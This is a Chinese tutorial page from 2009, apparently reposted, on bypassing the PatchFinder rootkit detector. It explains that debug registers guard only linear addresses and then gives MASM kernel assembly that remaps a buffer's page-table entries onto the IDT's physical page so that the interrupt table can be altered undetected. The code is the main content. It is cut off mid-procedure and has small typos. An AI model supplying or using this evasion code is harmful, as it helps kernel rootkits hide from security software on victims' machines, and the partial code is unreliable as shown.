当前位置: 首页 > 图文教程 > 网络安全 > 安全基础 > 绕过Windows Rootkit检测系统

安全基础
黑客攻击行为的特征分析及反攻击技术
Windows 2000中隐患重重的十大“服务”
网页脚本攻击防范全攻略
防患于未然 轻松做好Windows 2000安全策略
用注册表为操作系统砌九堵安全墙
完善网站程序 脚本攻击防范策略完全篇
两步修改XP远程管理默认端口可防止入侵
消除Windows XP自身的安全隐患
保护Windows不受恶意代码攻击
如何关闭和限制电脑不用的端口
修改Windows 2000远程终端默认端口
操作系统被入侵后的修复过程
利用微软基准安全分析器打造你安全的系统
数字签名技术简介
检测和删除系统中的木马
QQ密码破解程序
P2P中保障Windows网络安全
在代码中查找安全性缺陷的专家提示
QQ安全的三大纪律八项注意
如何保证文件夹的绝对安全

安全基础 中的 绕过Windows Rootkit检测系统


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-28   浏览: 68 ::
收藏到网摘: n/a

[介绍]


        PatchFinder是一个设计很巧妙的程序,基于EPA(执行路径分析)技术用来检测侵入内核的Rootkit。这篇文章将提供一种绕开EPA的方法。

[方法]

        EPA基于Intel处理器的单步模式,使用中断描述符表(IDT)的0x01入口。为了防止Rootkit修改这个入口,它使用调试寄存器(DR0、DR1)来保护调试处理程序(很不错的主意)。由DR0寄存器保护0x1入口,而由DR1寄存器保护中断处理程序。(注1:)
但是,让我们再读一遍Inter Manual :“每个调试地址寄存器(DR0到DR3)保存32位的断点的线性地址”。注意:线性地址!在Windows 2000/XP下,通过分页机制把线性地址转换为物理地址。假设IDT的基地址是在0x8003F400,保存在IDTR中,那么IDT的0x01入口地址就是0x8003F408。Intel有关IDTR的说明:“基地址标明了IDT的0x00入口地址。”WIndows 2000/XP下由CR3寄存器指向的页目录被映射到线性地址0xC0300000。线性地址是由目录、表和偏移组成,通过分页机制我们将 0x8003F408转换为物理地址就是0x03F00(由实验中得来)。现在我们要做的就是创建一个缓冲区,获取指向缓冲区的指针并修改页目录和页表使这个缓冲区指向物理地址0x03F00。然后,向这个缓冲区中写入的东西就会写入IDT,并且不会触发PatchFinder的保护机制。调试寄存器是根本无法保护内存的,因为它们无法保护物理内存。

[源代码]

    这里是源代码,由MASM v8.0汇编。因为我喜欢汇编语言:-)完全的源代码可以在www.rootkit.com找到。

;---定义IDTR结构-------
DIDTR STRUCT ;IDTR
dLIMIT WORD ?
ibase DWORD ?
DIDTR ENDS
;-----------------------

ByepassIDTProtection PROC

LOCAL dbgHandler:DWORD

LOCAL myIDT:DIDTR

LOCAL idtbase:DWORD
LOCAL idtbaseoff:DWORD
LOCAL idtPDE:DWORD
LOCAL idtPDEaddr:DWORD
LOCAL idtPTE:DWORD
LOCAL idtPTEaddr:DWORD

LOCAL varbase:DWORD
LOCAL varbaseoff:DWORD
LOCAL varPDE:DWORD
LOCAL varPDEaddr:DWORD
LOCAL varPTE:DWORD
LOCAL varPTEaddr:DWORD

LOCAL diffoffset:DWORD

pushad

;分配一个页大小的内存(从非分页池中分配)
invoke ExAllocatePool,NonPagedPoolMustSucceed,01000h
mov varbase,eax

cli ;记得恢复

invoke DisablePageProtection ;对XP,Regmon使用的一个很老的技巧

sidt myIDT
mov eax,myIDT.ibase
add eax,08h
mov idtbase,eax ;idtbase = IDT的基地址 + 8字节

and eax,0FFC00000h ;获取IDT地址的目录索引
shr eax,22
shl eax,2 ;乘与4

mov ebx,0C0300000h ;0C0300000 = 页目录
add ebx,eax ;ebx = [页目录 + 目录索引*4]
mov idtPDEaddr,ebx

mov eax,[ebx]
mov idtPDE,eax ;eax = IDT地址的页目录入口(PDE)

mov eax,idtbase
and eax,oFFFh ;获取IDT地址的低12位 = 页内偏移 mov idtbaseoff,eax

mov eax,idtbase
shr eax,12 ;获取IDT地址的高12位
shl eax,2 ;乘与4

mov ebx,0C0000000h ;进程页表映射在0xC0000000开始的4MB空间中
add ebx,eax
mov idtPTEaddr,eax ;IDT地址的PTE的地址

mov eax,[ebx]
mov idtPTE,eax ;取该地址的PTE

mov eax,varbase

and eax,0FFC00000h ;获取varbase的页目录索引
shr eax,22
shl eax,2

mov ebx,0C0300000h
add ebx,eax
mov varPDEaddr,ebx

mov eax,[ebx]
mov varPDE,eax

mov eax,varbase
and eax,0FFFh
mov varbaseoff,eax

mov eax,varbase
shr eax,12
shl eax,2

mov ebx,0C0000000h
add ebx,eax
mov varPTEaddr,ebx

mov eax,[ebx]
mov varPTE,eax

mov eax,varPDEaddr ;修改PDE为和IDT0x01的一样
mov ebx,idtPDE
mov [eax],ebx

mov eax,varPTEaddr ;修改PTE为和IDT0x01的一样
mov ebx,idtPTE
mov [eax],ebx

mov ebx,idtbaseoff ;修正页内偏移
mov eax,varbaseoff
sub ebx,eax